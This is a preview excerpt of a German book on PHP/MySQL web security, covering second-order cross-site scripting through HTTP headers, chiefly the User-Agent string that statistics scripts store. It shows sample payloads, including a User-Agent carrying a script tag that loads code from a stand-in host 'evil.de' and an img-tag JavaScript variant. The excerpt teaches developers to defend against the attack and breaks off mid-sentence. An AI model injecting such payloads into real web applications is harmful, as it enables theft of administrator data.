O'Reilly logo

PHP-Sicherheit: PHP/MySQL-Webanwendungen sicher programmieren by Stefan Esser, Christopher Kunz

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

1074.15 XSS in HTTP-Headern
Hat man die vollen Möglichkeiten des Document Object Model
erst einmal erfasst, werden Angriffe per XSS erst richtig interessant –
JavaScript-Popups sind nur der Gipfel des Eisbergs.
4.15 XSS in HTTP-Headern
4.15.1 Angriffe der ersten Ordnung mit Headern
Auch mit den oftmals fälschlich als nicht änderbar vermuteten HTTP-
Headern lassen sich interessante Dinge anstellen. Viele Browser, dar-
unter Mozilla und Firefox, lassen über Plugins oder Erweiterungen die
Änderung fast aller HTTP-Header zu. Da diese modifizierten Header
jedoch stets auf den jeweiligen Client beschränkt bleiben, sind First-
Order-Attacken (die ja meist darauf basieren, dass der Angreifer sei-
nem Opfer einen präparierten Link zukommen lässt) in aller Regel
nicht möglich.
4.15.2 Second Order XSS per Header
Aus akademischer, aber auch praktischer Sicht sind Second-Order-
Angriffe per XSS eine sehr interessante Sache, erlauben sie doch oft,
unerkannt an Administratordaten zu gelangen.
Wie bereits in der Einführung dargelegt, liegt ein Angriff der zwei-
ten Ordnung (Second Order) vor, wenn der eingefügte Code nicht
unverzüglich beim Aufruf zur Ausführung gebracht, sondern zunächst
vom angegriffenen System zwischengespeichert wird. Bei XSS-Angrif-
fen ist der vielversprechendste Angriffsvektor der User-Agent-String.
Dieser wird nämlich nicht nur vom Webserver meist zu statistischen
Zwecken aufgezeichnet, sondern auch von manchen PHP-Anwendun-
gen wie etwa Drupal, Typo3 oder auch Contrexx verwendet, um
Benutzerstatistiken zu erstellen. Gleichzeitig leiden viele Entwickler
unter einer gewissen Betriebsblindheit, was HTTP-Header angeht, und
nehmen diese als nicht vom Benutzer änderbare Tatsache hin. Ein
Angreifer, der (z.B. über ein spezielles Firefox-Plugin) in der Lage ist,
den User-Agent-Header zu ändern, kann kurze Skripte in eine ver-
wundbare Anwendung einfügen.
Oftmals wird der User-Agent von Auswertungsprogrammen auf
dem Server in seine Bestandteile zerlegt, um die Browserfamilien und
-versionen separat betrachten zu können. Um einen XSS-Angriff zu
%8>/<=-2I>D/8#3/83/.3/+-2>@98(##:/<
4 Cross-Site Scripting108
starten, muss der Angreifer sich zunächst darüber informieren, wie
diese Aufteilung vonstatten geht.
Der User-Agent für Firefox 2.0.0.13 lautet in der Standardeinstel-
lung:
Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.13)
Gecko/20080311 Firefox/2.0.0.13
Dieser String wird bei jedem HTTP-Request mitgeschickt und von
PHP in der superglobalen Variablen
$_SERVER['HTTP_USER_AGENT']
gespeichert. Viele Autoren untersuchen diese Variable in ihren Skrip-
ten nicht auf ungewollte Strings, sondern behandeln diese vom Benut-
zer (wenn auch meist automatisch) getätigte Eingabe als Servervari-
able. »Sie steht ja schließlich in
$_SERVER und ist damit sicher!«, lauten
die Begründungen für dieses Verhalten – aber weit gefehlt. Ein User-
Agent könnte natürlich auch lauten:
M<script src="http://evil.de/x.js"> ozilla/5.0 (Windows; U;
Windows NT 6.0; de; rv:1.8.1.13) Gecko/20080311
Firefox/2.0.0.13
Ein verwundbares Skript, das den User-Agent unverändert zur Besu-
cherauswertung speichert, würde nun neben dem tatsächlichen Brow-
ser in den Statistiken auch ein JavaScript-Tag ausgeben.
Um die Streuung in den Website-Statistiken nicht unnötig zu erhö-
hen, werden jedoch meist verschiedene User-Agent-Klassen zusam-
mengefasst. So ist die Information, ob ein Benutzer nun mit einer Fire-
fox-Version aus dem CVS oder einer Mozilla-Betaversion auf Ihrer Site
war, selten von Interesse – nur die jeweilige Major-Version und der
Browserhersteller sind interessant.
Aufspaltungen vermeiden
Der User-Agent-String wird dann von dem ihn auswertenden
Skript meist aufgeteilt, und somit muss der Angreifer etwas tiefer in die
Trickkiste greifen. Typischerweise benutzen Skripte nämlich unter
anderem den »/« im User-Agent-String, um Versionen und Hersteller
voneinander zu trennen. Der »Slash« wird jedoch auch benötigt, um
entweder ein
<script>-Tag abzuschließen oder eine URL anzugeben.
Da auch UTF-8-codierte Schrägstriche nicht dazu führen, dass der
Schadcode im Internet Explorer oder Mozilla ausgeführt wird, kann
der Angreifer noch immer auf ein anderes HTML-Tag ausweichen:
M<img src=javascript:alert('xss')> ozilla/5.0 (Windows; U;
Windows NT 6.0; de; rv:1.8.1.13) Gecko/20080311
Firefox/2.0.0.13
Am besten ist ein XSS tatsächlich in den Teilen des User-Agents aufge-
hoben, die für Statistiken besonders wichtig sind, also

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required